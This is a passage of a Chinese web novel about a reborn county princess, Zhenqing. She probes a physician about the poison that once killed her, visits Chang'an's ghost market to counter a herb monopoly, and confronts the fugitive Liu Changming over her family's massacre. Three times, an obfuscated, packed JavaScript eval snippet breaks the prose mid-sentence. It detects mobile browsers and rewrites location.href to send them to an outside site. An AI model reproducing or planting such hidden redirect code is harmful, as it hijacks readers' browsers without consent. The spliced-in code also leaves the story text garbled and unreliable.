仔细听,还能感知尾声微微上扬,带着特有的气息,专注又认真。 “是啊,江中丞似乎很关心我?”枕清盯着江诉的脸,已然不想注意其他,而是缓缓探身凑近。 动作越来越近,将要碰上他时,江诉依旧没有躲避的意思。 枕清猛地移开,脸颊浮起薄红,质问道:“为何不躲?” 江诉平静地对上她涨红的脸,以及为了掩饰羞恼而浮起薄怒的神色,唇角微微上扬:“县主不就是在故意激我吗,既知原因,为何要躲?” 她怒道:“若我真的吻下来了呢?” 他微笑:“你不敢。” 闻言,枕清不甘示弱地再次俯身下来。 江诉眉目疏淡,侧脸如玉,长睫垂下一层淡淡的阴翳,整个人如同漫在没有纯白无声的空谷,静得出奇。 就连她自己的心,也跟着平静下来,恰似一片空白。 半晌后,枕清见他毫无波澜,忽地觉得无趣至极,在即将撤开的下一瞬,江诉原本垂下的眸子缓缓上抬,同她对视。 猝不及防,心神震颤。 他总是能叫人慌张不安,枕清冷笑掩饰。 “我可真讨厌你这模样,好似洞察所有,掌控全局,偏又摆出事不关己,高高挂起的样子。” 她曲起食指,抬起江诉的脸,靠近逼来的气息相互交错,如同春日暖阳,带着清酒的甘冽,又糅着桃花的香甜。 刹那间,江诉对那双如同秋水般含笑带媚的眼睛晃了神,却又被冷意刺了眼。 江诉掩饰眸中的情绪,手蜷缩在暗淡无光的袖中,微微紧握,轻声道:“我在你心里,从你见到我的第一眼起,不就一直是这样。” 江诉悄悄松开被蜷缩到发麻的手,偏头避开她落在自己脸上的手,神色淡然地授完课,大步迈出门扉。 枕清出声道:“江诉,即使这样,你依旧是我在长安城里见到的最后一抹春色。” 江诉顿步回首,枕清摆出一副俏丽模样定定望着他。 仿佛之前不高兴的话都成了虚无缥缈的烟雾,她总是这样,可以把人惹得非常不高兴,又能在离开后若无其事,讲几句好听的话将人随手打发。 他不知道枕清说的话到底是真还是假,唯一能确定的,只有讨厌他是真的。 春容满野,暖律暄晴,屋外几度春光临暮。 他淡淡地望着她。 真话也好,假话也罢。 只要人平安便好。 - 义宁的小院在禹王府的北面,因为靠近长安城城墙,因此围成了一个死角,隔绝大部分喧闹。 他种了满院子的草药,望眼四处绿植,青翠欲滴。 此地除了义宁和两个小药童来得频繁,王府内的其他人几乎不会涉足。 所种的草药甚多,晒干和生长的气息混杂,浓重的气味扑面而来,叫人忍不住碰了碰鼻尖,挥开萦绕不散的味道。 枕清站在花草木丛中间,穿着一袭宽松雅致的花缬绯色衫子,面容精致漂亮,额前还有一抹明艳花钿色,在满院子中,是最明亮的艳色。 她轻轻侧过身子,瞧见眼熟的,正要随手摘下那一株草,义宁见状当即出声阻止道:“有毒!不要碰!” 枕清笑着收回手,“我还以为配制后才会有毒性,原来碰到也会有毒。” “的确是配制后才会有毒,只是我在根叶上撒了药粉,你还是别碰了。” 枕清望着那株草表皮上一层薄薄的药粉,若有所思。 好一会,她淡淡道:“原来如此。” 义宁见她这样,似是有意试探,又像是随口一问:“怎么?瞧你这样,是中过这毒,还是你身边有人中过这毒?” 枕清有意瞧他一眼,义宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665302|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是上一任太医令的徒弟,对于医学从小耳濡目染,能力不逊色他的师傅,早早出了师门,如今算来,跟随禹王也有十多年。 义宁对外宣称禹王侍医,王府里的人都知道义宁能力出众,外边也有许多人都以为禹王侍医是一位德高望重的老人,殊不知,义宁是一位十七八岁的少年。 脾气还挺大,除了禹王,几乎没有人能喊得动他。当初为了要青黛弟弟的解药,也是费了好一番劲。 对于他的话一针见血,她毫不意外。 枕清盈盈一笑:“想套我话?你不妨猜猜看呀。” 义宁低头除草,头也不抬地道:“你身边的人吧,只要是中过这毒的,都死了,无一例外。” 枕清疑惑,走近道:“可这毒药是慢性的,理应有药可救,为何都死了,无一例外?” “谁告诉你这是慢性的?这是分明剧毒!”义宁停下手中的动作,看着靠近走来的枕清,思绪不自觉游走,又慢慢拢回。 他作沉思状,又道:“慢性的,除非是那人自己配置的,想要对方痛苦挣扎的死去,又明确知道对方必死无疑,自己无药可医。” 枕清继续走近,声音清浅:“那你说给药的人是很恨那个人吗?” 义宁感受风的拂动,闻到枕清身上甜甘的气息,眉梢微舒,他顺着风道:“也不是吧。既然要恨,我觉得当然是当场毙命才好。我倒是觉得下这药的人,大概是痛恨极了,却又不舍得,于是大家都痛苦的活着好了。” “那你会是这样的吗?”枕清站在离他不远的位置。 “不要在我身上打比方,我不会做这种事情,恨就要恨得痛快,怨就要怨得彻底。” 枕清突然笑了一下,“竟是如此。” 那么义宁不会这么做,上一世的毒药,应该是他给禹王,禹王在她身上留下的。 阿耶竟然这么痛恨着她,这么想让她死吗? 那么为什么不在儿时就对她连根斩除?留着她难道就想不到最后会落得这般结局?现在又在和她装什么父女情深! 装什么即使她要他命,他也坦然地、无怨无悔地给她! 其实这些所有的亲情,都是假的! 全都是假的! 只是为了除掉自己最好的掩护罢了!她竟然真的信了!真的信了这样的谎言。 义宁拧眉瞧她一眼,也不想再继续这样的话题,则是拿起锄头,一边除草一边说:“最近药材价高,并非不是我没钱,而是我觉得并不合算,之前药馆里的,都给人用完了。也并非是什么名贵药材,却都被垄断了,我也查不出原因。” 枕清克制情绪,冷静问他:“所以呢?” 义宁道:“花明小娘子的药我可以给,至于另一位,我不做保证。” “知道了。”枕清当即转身要走。 义宁见人决绝地离开,突然急了,出声道:“你现在还没待一会就又要走了,你把我这里当什么地方。” 按照往常,枕清一定会出言反驳,说这王府的任何地方她想来就来,想走就走,可是现在她没有任何心绪,声音却异常平静:“我就是想不通一件事情,所以来问问你。” 听到这话,义宁觉得自己稀里糊涂地,他不懂她的意思,问:“什么?” 枕清避而不答:“现在想通了。” 义宁无语道:“你莫名其妙。” 枕清微笑道:“如果你不喜欢我来,你这院子,我再也不来了。” 义宁没好气道:“我可没有这么说,爱来就来,只是不要瞎碰东西,不然我也救不了你。” 枕清想要维持笑容,没想到正朝前走几步,胸腔突然一阵闷痛,她猛地弯下腰,吐出一大口鲜血,溅到义宁打理好的花圃中,染在草药上,浸在泥地里。 她还没抬手擦拭干净,便双腿一软,昏沉地晕倒了在义宁的小院里。 最后一眼是无尽头的阳光,还有清风拂过手边绿植,她微笑着,然后沉沉陷入黑暗的深渊里。 11. 窗翠侵影渺烟霏(二) 枕清醒来已经是傍晚时分,她透过窗棂,看着天边的落日余晖,慢慢转向身旁焦躁不安的义宁:“不好意思啊,脏了你的院子。” 义宁看着枕清这副模样,心中升起一股莫名的恼怒,人都躺在这里了,他哪里还会去关心什么脏不脏院子! 而且身体已经到达了极限,晕倒前还能叫人不易察觉出来。 义宁想出言讥讽枕清真会伪装,明明还是个比他还小的女娘,心思竟然能藏得如此之深。 可是她现在躺在榻上,身形薄得跟一张纸似的,仿佛风一吹,人也跟着飘走了。 到底也是相处了好几年的人,义宁别过脑袋叹气:“算了,今日这事,我去告诉禹王。” 枕清当即出声,声音暗哑:“别告诉他,我不想让他担心。” 义宁冷笑道:“是害怕他知道你来了我的院子,问了一些奇怪的问题让自己气急攻心吐血了,还是真的不想让他担心?” 枕清抿唇:“你不是知道吗?有必要再追根究底吗?” 义宁倒出一碗汤药,推到枕清面前,颇为无奈:“你总是不讲真话。” “是你觉得我说谎成性,有没有一种可能,是你过度揣测我了,我原本就是这个意思,你偏要把它绕个几圈。”枕清低垂脑袋不想再去看他,“义宁,你从来不信我会说真话。” 或许是因为刚病倒,枕清的声音轻轻柔柔的,身形也更显纤细消瘦,脸颊两侧的碎发轻飘飘落在肩上,突然有种一碰就碎的薄弱,也有旁人家柔弱女娘的感觉。 他时常说枕清不温柔,做事精明,可是现在的她骨子里有伤春悲秋,叫他如鲠在喉,心忽而有些疼得厉害。 原来她也不是铁打的,原来她也会这样伤心吗? 义宁忽略心中酸涩,忽道:“你叫我怎么信你,你敢说你对我没有欺瞒吗?” 枕清仿若听到好笑的事情,她问道:“那你呢,你又待我坦诚了吗?你可真贪心,只允许你知道我的,却不愿意让我猜测你的,坦诚是相互的,并非是我一人的事! “你我认识三年,我都不知道你在太医署里也挂着职位,所以你想要真诚,请你先看看自己,是否做到如你自己所说的那样对待我。” 义宁听到太医署三字,手几不可查的一抖,额前的细碎的发丝在烛火下的照映下,显得毛茸茸,将他本身的戒备和防御变得更为浓郁。 他抬眼看她,倔强地抿唇,身上寒凉意外地一点点被稀释,展露出敏感又脆弱的一面,却意外地没有说话。 枕清心绪复杂,也不再言语,喝完药,便离开了这间院子。 夜色昏暗,回去的路上只有几盏孤零零的小灯挂着,路边丛木簌簌声响,寒意凛然。 枕清步履缓慢,没有平日的凌厉轻快,衣袖还有血渍,仿佛是一朵残破萧条的射干花[1],凄美又伶仃。 义宁木然地盯着枕清阑珊的步履,紧紧握拳,克制住自己要追上去的步伐,他深深呼吸,缓缓闭上双眼。 夜色里,身后的灯盏明明灭灭,走至转弯处,地上的两道影子被拉得斜长。 他终究是跟上来了。 枕清散漫不经地勾唇,对待义宁的眉眼总是浸着嚣张和调侃。 今夜她一改往常,视线微微朝后扫去,盛着苍凉的眸子徐徐望向义宁,带着他看不懂的情绪。 这夜,十七八岁的少年郎没有睡着,他辗转反侧,闭眼都是枕清那双含有深意的漂亮眸子。 仿佛他曾经做过对不起枕清的事情,义宁一夜未眠。 在今夜,枕清也疼得久久未睡,她推开窗,看到满天星斗,突然伸手要去抓下来,却发现是触碰不到的。 今日她去义宁那里就是为了确定一件事。 上一世她中的毒,其实连她自己都不知道是怎么来的。 不过,她现在知道了。 长安鬼市。 半夜而合,鸡鸣而散。与人交易,多得异物。[2] 虽说大启朝宵禁甚为严格,若是被抓到了,指不定要挨几十板子,若是在坊内不外出走动,倒也没事。 况且鬼市也是朝廷默许的存在,就在长安城玄都观旁。 鬼市开市的时间是在子时,是阴气最重的时刻,据说那时也是通往阴阳两界大门的时间。 枕清一向不信怪力乱神,唯独在重生这件事上打破了一丝看法,却也没动摇到根本。鬼市之所以会用这个时间点,大概是为了掩人耳目,方便交易。 此地没有寻常时候那样沸沸扬扬,吆五喝六。商人们既汇聚于此,又缩在黑暗处,鬼市里边有不少的奇珍异宝,丝绸、药材,当然还有一些来路不正、不能见光的东西,但其中真假参半的货物亦是不少。 枕清拿出准备好的面具盖上,轻轻道:“据早年传闻,上百年前有一位摄政王在鬼市买了火药,但是点燃没爆,因为那是假的,里面装着面粉。” “居然还有这样的事。”应钰诧异过后,也学着枕清,缓缓盖上面具,她是知晓鬼市的存在,却从来没有来过这样的地方。 可枕清不一样,她好像在长安各处都有所触及,明明上一世待在皇宫里,为什么会如此了解? 枕清再次出声,应钰思绪被拉回,听她提醒道:“看货物不询问来处,油灯不照人脸。” 应钰疑惑道:“货物不问来处我倒是知道,因为有些来路不正,大家也心知肚明的闭口不言,可为何不能照人呢?” 枕清慢下步子,深深看了她一眼,确保应钰戴好面具后,才又道:“若是卖你货物的商人是亡命之徒呢?你看到了他,他也发现了你,想要杀你灭口,你又当如何?” 听到这话,应钰才深感这鬼市里的水深不见底,心有余悸道:“原来如此。” 她们还走在路上,四周依旧是一片漆黑,再往前行上百米,才看到细碎的灯光漏出。 “鬼市这段时间也出现了一些如同中介的贸易商人,他们的经验丰富老道,又会运用关系,了解到各州郡县需求的商品货物,提高了商品的流通,将货物从一个地方运到另一个地方,并通过各种手段获取更高的利润。” 枕清不自觉碰了碰腰间玉佩的穗子,轻轻拂动道:“他们经常会看准时机,低价买进,高价卖出,当然还有另外一种方法,你可知道最近的中草药?” 上一世的应钰就是个商人,对于这些动向自然是有所了解,只要枕清提及一点,她便能立马领会到其中的门道。 她惊愕道:“通过垄断货源的方式,控制市场价格,获得更大的利润!” 到底是谁这么大胆子,要收了中草药,想让百姓花高价钱买药,赚取收益,还是说想让百姓即使生病了,也没钱买药? 更严重的话,会激起民怨,从而影响到国之根本! 是谁有如此大的财力,耍了如此了得的心机手段。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665303|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>若是前者倒也还好,只怕是后者。 枕清见应钰如此,也知道她也已经猜到不少,她勾唇道:“所以我需要你。” 应钰问:“你是想让我从鬼市开始发展?” “是。我有一个想法。”枕清说,“鬼市现在的商业并不规范和成熟,但我们可以把它变得成熟,打响一个旗号,注重信用和声誉的建立,使得商业交易更加顺畅和稳定。” 这些事情自然是可以,应钰当即答应,却又没忘方才中草药的事情,问:“但这药是怎么回事,你可了解多少?” 枕清勾唇:“不多。但在长安会做这样事情的人,除了阿之奎,我想不到旁人。即使不是他,我把这个帽子安在他身上,他也不冤,到时候你带京墨和天冬来吧,也收一收葶苈子、甘草等草药,以备不时之需。” 话落,枕清抬手轻轻点上自己的唇瓣,示意不要再出声了,因为已经进入了鬼市。 这片区域没有大片的灯火,只能见到如一颗颗雨水的小油灯发出莹莹火光。枕清在鬼市如鱼得水,甚至十分熟悉此地的位置,轻车熟路地来到一个人的摊位前。 夜色太黑,应钰看不清那人的样子,只见枕清有意碰了碰自己腰间穗子,那老板一言不发地把自己的中药拿给枕清。 应钰在微弱的油灯下,见到一双苍老赢弱的手。枕清笑着接过,没有砍价,直接给了那人一锭银子,全程中两人都没说一句话。 走远后,应钰却是忍不住小声低语了起来:“你为什么不用义宁来配制药,要自己亲自来?” 枕清也跟着压低声音道:“求人不如求己,他不会一直帮我的,倒不如我自己来。” 枕清又买了几件珠宝,跟店主比划商量好价钱,给了价钱又道:“是该叫上佑善和几个长安贵女来禹王府做客吧,联络一下感情了。” 应钰看着珠宝不由寻思,现如今这珠宝怕是赃物,如果买了,倒是会惹出一身麻烦事,应钰喃喃道:“这难道不会被认成赃物。” 枕清好笑地看着她,“是吗?这些是洗着洗着,就能变白的东西。” 这是要借长安贵女的手,吹吹这珠宝的风,而且枕清还是川银阁背后的阁主,若是珠宝水涨船高,自然又是不一样。 应钰心下了然,却又对于枕清最终是何种目的而隐隐不安,应钰当即拉住枕清的手:“若是需要我,你尽管说,不要以身犯险入局!” 枕清感受指尖传来的温热,愣怔片刻后,她微笑道:“惊玉,花明和张宣晟重生了,你难道就猜不到禹王也重生了吗?你那么聪明,一点就通,应该知道不是我要把自己置于危险,而是我已经回不了头了。” 怎么会不知道? 在沉沉夜色里,应钰肩膀突然打沉下来,仿佛全身的力气都被抽光了,她又像是陷入了两难境地。 枕清安慰道:“我说我不会让你为难,这句话依旧作数,他若是不对我下手,我也会顾念多年的父女情义放过他,这是我最后的容忍。” “他对你这样好,自然不会!”应钰眼睛微亮,仿佛走在万物皆亮的光彩里,心情变得雀跃。 枕清看着应钰这般模样,缓缓垂下眼睑,掩饰自己的情绪,哑然失笑道:“过几日叫罗长观过来,让他和花明多见几面,你尽量让花明说珠宝的事和张宣晟有关。罗长观不会信我的话,花明他必定会去留意。” 应钰和花明私交甚密,她点头道好。 12. 窗翠侵影渺烟霏(三) 天边翻起微微的亮色,鬼市已无人,枕清等着天边泛起鱼肚白,不远处清晨的钟鼓声响彻整片长安城。 天光逐渐大亮,街上不少的摊贩开始出摊,枕清走过宽敞的街道,和应钰分两路,应钰去川银阁,枕清去了长安郊外的宅院。 长安郊外路远,枕清叫了一辆马车前去,行过路面,朝外的视野开阔,风景秀丽宜人。 天色正好,正值春梢。 枕清让车夫停在院子门前,自己透过篱笆的间隙望见宁千渝正在庭院内安静地打扫,时而担水,时而浇肥,把小院打理地井井有条,错落有致。 记得第一次见她,她很是沉默寡言,也不善于同人说话,就连望着人的双眸也是木然,但做事谨慎细心,心里有活,可性格却是只求个安宁,所以枕清留她在此照顾青黛的阿兄。 枕清推开门,宁千渝看到她后,木然的眼神亮了一瞬,又悄悄遮掩,放下手中的东西,朝前走了几步,堪堪停住。 枕清不常来这,她对宁千渝温和一笑,示意她干自己的活,不需要理会自己。 今日是青黛阿兄吃药的日子,按照平常是青黛来,但青黛已经被枕清支走离开长安,所以来送的人便成了枕清。 院子中央,空中浮起一粒粒尘土,枕清身形微动,那些尘土像是经历了兵荒马乱,腾转跳跃,最后飘飘四散。 枕清拍了拍衣袖,越过步子走到屋内。她看到一个病弱消瘦的男子,面颊乌青,两眼无神,怎么看都知道是常年被药罐子吊着命的人。 枕清打量了好一番,拿起药丸递给他,“青黛走了,这回我来送药。” 男子一进来便已经看到枕清,他虽没见过,却也知道她是那个一直在背后给他续命药的人。只是那张好看的面容,叫他心里奇怪,他抿了抿干薄的唇,枯槁的手接过枕清递来的药。 枕清没有生疏客气的意思,转身就找了张椅子,坐下问:“我还不知道你的名字,你叫什么?” 男子神色凝重,眉间有散不开的心结,看到枕清后,更为明显。 “柳长鸣。”他道。 “长鸣,长命,又或者是偿命。” 枕清别有深意的喃呢,又仿佛真会是随口说说,甚至看都没看一眼柳长鸣僵硬的身形,以及那张脸上挂着不正常的表情。 她反倒是露出人畜无害的笑容,继续道:“你们不是亲兄妹,她虽然有一个阿兄,但绝不是你这般模样,需要药来吊着命的。” 枕清说完,没等人说话,自顾自起身,走至窗户边,推开窗,春日暖阳轻而斜地进来,照恍了男子的眼睛,只能使他偏头闭眼。 这番动作,不同于另一旁的枕清,她十分适应这屋外的阳光,只是侧过身子,脸庞隐匿在半明半昧的光里,微微张唇。 “所以,柳长鸣,你到底是谁?” 冰冷的语气中,还有身居高位的不容置疑。 男子知道枕清意有所指,仍道:“我就是柳长鸣。” “骗骗青黛得了。”枕清轻嗤道,“我记得十多年前有一个人,应当叫枕淮。” 柳长鸣听到这个名字,登时大恸,心陡然一悸,看到枕清不由开始后怕,胸膛起伏得厉害,甚至被刺激到剧烈咳嗽。 在下一瞬间,柳长鸣呕出一大片血迹,鲜艳的红色在地面上散开,如同一道道蜿蜒的河流。 刚想要推门而入的宁千渝顿住,在门缝外望了一眼不动声色的枕清,又轻悄悄关上门,站在门口久久没有离去。 枕清毫无波澜地盯着他这幅模样,好整以暇地重新坐在椅子上,继续道:“长鸣,偿命,当真是挑了个好名字,你确实应该偿命。” 柳长鸣抬手抹开唇角血迹,虚弱道:“你是谁?” “禹王你想必很清楚,他是我养父,那你觉得我会是谁呢?”枕清轻笑一声,在他疑惑的视线中,仿若大发慈悲地开口告诉他,“我姓枕,单名一个清字。” 柳长鸣面露苦恨,他挣扎地看着枕清,咬牙切齿地讽刺道:“你就是枕淮的女儿?怪不得我们是朝廷要犯,你也会冒着性命收留我们,不是因为青黛的一身武艺,而是因为我!你把青黛支出去,便来了我这里,你倒是和你父亲一样,精明算计!” “是啊,我精明算计。”枕清慢悠悠道,“你是朝廷要犯,青黛也是,你说我将你们送出去,禹王会顾念旧情保你吗?” “我想会的。”枕清慢悠悠道,“毕竟他是个容易顾念情谊的人。” 柳长鸣气急,生怕枕清威胁到禹王,也怕自己成为阻碍。 他痛恨道:“你到底想做什么?我当初就说不应该留你,理应要斩草除根的!奈何他心太软。” 这个他指的是禹王。 听柳长鸣如此说,枕清觉得自己听到了天大的笑话,她唇角勾起冰冷的笑,眉宇间隐隐有发怒的趋势。 宁千渝靠在门扉上,紧张地听着两人的对话,只听枕清突然怒道。 “斩草除根?斩的是哪根草?除的又是哪门子的根?!” 枕清脸颊起了薄怒,白皙纤细的脖颈显露青筋,“你和我说斩草除根,枕家上下百余人都难逃活口,你觉得你没有斩草除根吗?我倒是想问问你,枕家又何罪之有?要你这个前任大都督大费周章来带禹王一同去对枕家满门问斩! “你敢说枕家有罪吗?你敢吗!枕家做错了什么,我又做错了什么?让你觉得枕家就应该被斩草除根?! “你是不是上位者坐太久了,不知道一条人命是怎么样的?柳长鸣,你真是该死,为什么我家人全都死了,你却还可以活着?” “你也应该去死吧!”枕清捡起他落在手边的药,当即从窗外甩了出去,宁千渝猛然一惊,门扉上的动静吸引了两人的注意力。 枕清视线一斜,从小窗前,看着宁千渝寻找药而焦急地动作,微微冷笑。宁千渝后知后觉,看到枕清居高临下的视线,面容瞬间失去了血色,变得越来越难看,甚至觉得遍体生寒,叫她挪动不了一步。 “禹王的人。”枕清拿起手中被她虚晃甩掉的药,微微一笑道,“今日这事你打算怎么禀告他?好好想,慢慢想。” 枕清把药扔给柳长鸣,走到门口后,顿了顿步子,讥讽道:“希望你今晚能睡个好觉,不会听到枕家冤魂在叫。” 宁千渝见枕清从自己的身边走过,突然跪下,拉住枕清的手,颤颤巍巍道:“县主,我……我……我错了……” 枕清低垂冰冷的目光,看得宁千渝心惊。 宁千渝实在是怕极了,面颊的泪落了一颗又一颗,她死死抓住枕清的手,似乎如同溺水后抓住唯一的一根稻草。 “我……我错了。”她断断续续说,“我真的……我真的没有背叛你……” 她的声音哽咽,泣不成声,字不成句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665304|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁千渝觉得彼时的枕清像是山野里的蒲公英,她如果不抓住,就要永远消失远去,叫她再也找不到。 她真的害怕极了,她也不知道刚才是怎么了,或许是想知道枕清更多的事情,又或者是怕枕清真的要伤害柳长鸣。 枕清第一次见到宁千渝这么惊慌失措,可惜她向来对背叛的人从不留情,她甩掉宁千渝牢牢抓住自己的手。 宁千渝被枕清的动作甩在一旁,她无暇顾及自己狼狈的样子,只要一抬头看见枕清要离开的身影,心中便愈发焦躁不安。 在枕清向前走三步时,宁千渝彻彻底底地慌了,膝盖跪在铺满尖锐的石子上,竟连站立也忘了,膝行抓住枕清的裙摆。 膝盖被尖锐的石子刺破,甚至流出血迹,染上颜色在衣裙上,她像是没有痛感的人,眼里只有枕清。 宁千渝央浼道:“求你……别不要我,我真的错了,县主……” 女郎的声音悲切又凄凉,带着无尽哀求的哀凉,听得人透骨酸心。 枕清垂首看着自己被人紧紧抓住的衣摆,微微叹息一声,伸出手摸她的脑袋以作安抚,待人哭声渐小,枕清轻柔地挑起她的面庞,俯身下来,抬起纤细的指节,缓缓擦掉她脸上的泪。 轻柔地像是一根羽毛,如同浸在最甜蜜的温柔里,即使其中有砒霜,她也甘之如饴。宁千渝如是想。 这一番安慰下来,宁千渝提起来的心微微放下来,好在县主还愿意原谅她,肯听她的解释。 待情绪稳定下来,宁千渝道:“我真的没有背叛县主,是因为禹王说是您的父亲,他说不放心县主,叫我把这里的事情都禀告给他。 “我错了,我真的错了,我不知道县主和禹王不和,我再也不说了,县主要是还不信我,怕我说出去,就把我舌头割了吧,只求您就别不要我。” 这话说得卑微又弱小,如同只能攀援依附在她身上,枕清万万没想到随手捡来的小丫鬟竟然会有这样的想法。 她看着宁千渝膝盖上的血渍,神情称不上好,她拉着宁千渝起来,质问道:“你难道没有自尊的吗?” 宁千渝就着枕清的动作,站起身感受到膝盖的疼,微微皱眉,又茫然道:“什么?” 枕清叹气道:“再过段时日,你跟着我吧,你可愿意?” 宁千渝慌乱点头道:“我愿意,多谢县主!” 有这样的意外,枕清在宁千渝这里停留了好些时间。 其实她向来不管这些,也不在乎,或许是小丫鬟哭得太惨,哀求太久,又或者是其他,她突然就停下来了,看一看身.下的女郎。 宁千渝已经上过了药,目光呆滞地看枕清。 满足之余,宁千渝又忍不住说禹王叫她好好照顾柳长鸣,她偷听不是为了告诉禹王,而是怕枕清会杀了柳长鸣,从而和禹王心生嫌隙。 而且青黛小娘子的武功了得,若是县主真要杀了柳长鸣,只怕也会陷入危险,在宁千渝的交代中,像是在给枕清分析权衡利弊,说到最后真的困到睡着了。 枕清看着睡着的宁千渝,她抬眼望向窗外的明月,忽而轻笑一声。 像是嘲讽,又像是苦涩。 怎么会想不到呢? 枕清听着宁千渝给她分析好坏,竟还觉得有些许温热流淌在体内,可能除了她,没人会觉得枕清是个不懂利弊的人。 小女郎啊,真好骗呐。 13. 窗翠侵影渺烟霏(四) 风瑟瑟,吹动似锦的繁花,满目青青。 枕清收到了青黛的来信是在一个曲径通幽处的春日。 她看完来信后,心中已有一些衡量,今日应钰问起,枕清跟应钰简单概括道:“之前有个村子,人全死了,只有江诉和一个叫阿只的男人活了下来,青黛原本还想继续追查下去,发现有关的线索全部断了,而知道的人早在五年前被人灭了口,无从继续查找。” 应钰愕然:“全部灭口?” 见枕清点头称是,她思索又问:“那个叫阿只男人呢?” 枕清折好那封信件,放在烛火上烧毁,成灰白色灰烬后,她淡淡道:“死在路上了。” 那么那个村子只留下了江诉一个人?这也太奇怪,又或者是太不可思议了。 让人忍不住去联想江诉是如何活下来的,又是怎么一步步进入长安,当上这五品中丞的官职。 其背后是多么强大的毅力,叫人无从可知。 沉默片刻后,应钰问:“阿之奎呢?” 枕清抬手调和桌上的沉木香,望着青烟缓缓上升,曲直变幻,味润青烟。 她温声道:“一直在安南,不过七年前生了一场大病,据说是休养了一年多,青黛说她自己并不能看出什么问题。” 看不出问题? 应钰见枕清思绪游离,像是知道些什么,她不解地追问道:“是有什么问题吗?” 枕清轻轻抬眸,不自觉摩挲转动腕上玉镯,道:“在阿之奎身上,天衣无缝,合情合理,才是最大的问题。尽快在鬼市收好药材,不要让背后之人全权把控。” “已经命人着手准备了,在东、西两市各开了两间药肆,后日便可开张。” 长安城内有东、西两市,东市靠近太极宫、大明宫、兴庆宫,周围住宅多为达官显贵,且西域及吐蕃等地的胡人通过陆上商道来到长安经商大多聚集于此市,主要服务于贵主,故市中多奇珍异宝,和璧隋珠;而西市更为亲和,包罗万象,既有白丁俗客、布衣黔首,也有新罗天竺、西域客商等。 所以东、西两市经营商家范围不同,所出售的货物价值更有不同。 东市所开的药肆名叫青囊居,应钰所售卖的皆是质地优良之药材,同时来自番邦的玳瑁、空青石、蚺蛇胆、珍珠、象牙等等。她曾广而告之,凡各地运来长安的上等药材,她都以高价收购,因此药农及药贩都乐于给她送货。 而西市所开的百草阁收集百草,不过所有药物都经过精心挑选后依古法炮制,且切制的刀法精良,色泽明亮。 先前看过位置,应钰能猜测到药肆一开,每天定是顾客盈门,络绎不绝。 应钰这段时日准备的药肆接近收尾,跟枕清道:“我前些日子还收了好一些沉香,到时候命人给你送到屋中来。” 枕清神色并不意外,颔首道:“好,这香也该换了。” 应钰现在是个大忙人,示意自己离开后,又转身去了东市。枕清也拿上帷帽,出了门。 长安城外来了络绎不绝的商旅马队、驼队,人流熙熙攘攘,车水马龙,还有曲艺杂耍等文艺娱乐表演喧闹,叫人眼花缭乱,兴致盎然。 枕清来到街上,错身经过来往的行人。 她今日一身朴素打扮,让人觉得是普通人家的小女娘,可是那张脸美艳极丽,难以贵姿。 叫人想跃跃欲试地搭讪,又怯生生躲在一旁偷看,不敢贸然出手。 枕清略过那些有意无意打探来的视线,当即转身走向人少的巷子中,故意披散半边头发,脸颊和发梢抹上一点狼狈的泥土,自觉差不多后,再走到一处角落里蹲着。 碧空万里,金阳透过长安坊间,衬着明艳,轻轻落在枕清肩上。 陈琅和友人正走着,一眼就看到角落里的人是枕清,他推托着友人先行事离开,独自一人走前。 没想到在长安里,她居然还会做这样的打扮,叫陈琅惊奇诧异。 虽然罗长观的事情叫他难受,不过现在也消散得无影无踪,他走过去看一个人坐在地上的枕清,好整以暇地垂首问:“你在这里干嘛?” 枕清连眼睛都没抬一下就知道来人的是谁,她语气平淡:“钓人。” 陈琅好奇,又问:“谁?” 半晌没听到枕清回答,于是又凑近,枕清伸出手抓住陈琅的衣服,狡黠笑道:“来了。” ??? 陈琅才后知后觉自己送上门来了,不免失笑,她真是诡计多端。 他还未出言,只听枕清吩咐他:“你躺下。” 陈琅不可置信地指了指自己,瞧了一眼自己这身名贵的衣服,问道:“我?” 那双好看的桃花眼充斥着难以相信,仿佛在说:我?我躺下?我这一身名贵的衣服,躺在这脏兮兮的地上? 枕清忽略他的神情和语调,只催促道:“快!” “行呗,又干回了老本行。” 陈琅随意躺在地上,枕清在他身上抹泥巴,他懒洋洋仰躺着,嘴角勾着笑:“我跟你说我这一身衣服可贵了,事成之后,你可得要赔我。” “赔,当然赔。”枕清十分满意自己乱七八糟的杰作,拍了拍手后,还不满意地在陈琅脸上抹了一把。 陈琅眼神下垂,隐含警告之意,枕清视若无睹,他也只好作罢,抬眼望着阳光,看着旁边走过的人,突然像是回到了很小的时候。 那时候枕清也才八岁,而他十二岁。 他和枕清曾经相处过一年,就是这么一年。 